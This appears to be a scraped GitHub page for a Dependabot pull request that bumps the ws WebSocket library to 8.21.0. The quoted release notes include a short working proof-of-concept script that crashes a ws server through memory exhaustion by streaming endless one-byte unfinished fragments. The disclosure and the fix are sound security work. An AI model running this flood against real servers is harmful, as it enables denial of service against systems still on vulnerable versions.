Title: chore(deps): bump ws from 8.20.0 to 8.21.0 by dependabot[bot] · Pull Request #157 · lessweb/deepcode-cli · GitHub
Open Graph Title: chore(deps): bump ws from 8.20.0 to 8.21.0 by dependabot[bot] · Pull Request #157 · lessweb/deepcode-cli
X Title: chore(deps): bump ws from 8.20.0 to 8.21.0 by dependabot[bot] · Pull Request #157 · lessweb/deepcode-cli
Description: Bumps ws from 8.20.0 to 8.21.0.
Release notes
Sourced from ws's releases.
8.21.0
Features
Introduced the maxBufferedChunks and maxFragments options (2b2abd45).
Bug fixes
Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).
A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.
8.20.1
... (truncated)
Commits
bca91ad [dist] 8.21.0
2b2abd4 [security] Limit retained message parts
78eabe2 [security] Add latest vulnerability to SECURITY.md
5d9b316 [dist] 8.20.1
c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
ce2a3d6 [ci] Test on node 26
58e45b8 [ci] Do not test on node 25
5f26c24 [ci] Run the lint step on node 24
See full diff in compare view
Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR
@dependabot recreate will recreate this PR, overwriting any edits that have been made to it
@dependabot show
Open Graph Description: Bumps ws from 8.20.0 to 8.21.0. Release notes Sourced from ws's releases. 8.21.0 Features Introduced the maxBufferedChunks and maxFragments options (2b2abd45). Bug fixes Fixed a remote mem...
X Description: Bumps ws from 8.20.0 to 8.21.0. Release notes Sourced from ws's releases. 8.21.0 Features Introduced the maxBufferedChunks and maxFragments options (2b2abd45). Bug fixes Fixed a remote...
Opengraph URL: https://github.com/lessweb/deepcode-cli/pull/157
X: @github
Domain: github.com
| route-pattern | /:user_id/:repository/pull/:id/files(.:format) |
| route-controller | pull_requests |
| route-action | files |
| fetch-nonce | v2:7a84bab6-e124-45b2-7368-e104ce437b34 |
| current-catalog-service-hash | ae870bc5e265a340912cde392f23dad3671a0a881730ffdadd82f2f57d81641b |
| request-id | 9D62:34DDB0:14CB65:1C0AFE:6A4D213E |
| html-safe-nonce | 6f2c38c3b0b8cf6f77b77d83110ef2189b42f869f2a1b14eda036014ee9943af |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5RDYyOjM0RERCMDoxNENCNjU6MUMwQUZFOjZBNEQyMTNFIiwidmlzaXRvcl9pZCI6IjgyMDUxMjM1NzU4MDkzODQ3NjYiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 28e3b2d4221534c4c482bab0c5f32cc3b860cebb50d7c439390b459181963a58 |
| hovercard-subject-tag | pull_request:3800621487 |
| github-keyboard-shortcuts | repository,pull-request-list,pull-request-conversation,pull-request-files-changed,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/lessweb/deepcode-cli/pull/157/files |
| twitter:image | https://avatars.githubusercontent.com/in/29110?s=400&v=4 |
| twitter:card | summary_large_image |
| og:image | https://avatars.githubusercontent.com/in/29110?s=400&v=4 |
| og:image:alt | Bumps ws from 8.20.0 to 8.21.0. Release notes Sourced from ws's releases. 8.21.0 Features Introduced the maxBufferedChunks and maxFragments options (2b2abd45). Bug fixes Fixed a remote mem... |
| og:site_name | GitHub |
| og:type | object |
| hostname | github.com |
| expected-hostname | github.com |
| None | 92571a8944142227b7e19cd10918b1ddd06e5066c1ad5bc7e4769cf6140a87e6 |
| turbo-cache-control | no-preview |
| diff-view | unified |
| go-import | github.com/lessweb/deepcode-cli git https://github.com/lessweb/deepcode-cli.git |
| octolytics-dimension-user_id | 118287711 |
| octolytics-dimension-user_login | lessweb |
| octolytics-dimension-repository_id | 1223512305 |
| octolytics-dimension-repository_nwo | lessweb/deepcode-cli |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 1223512305 |
| octolytics-dimension-repository_network_root_nwo | lessweb/deepcode-cli |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | true |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 93f17a978ee60bc4668e1d7b90e6bd2d622261fd |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
Links:
Viewport: width=device-width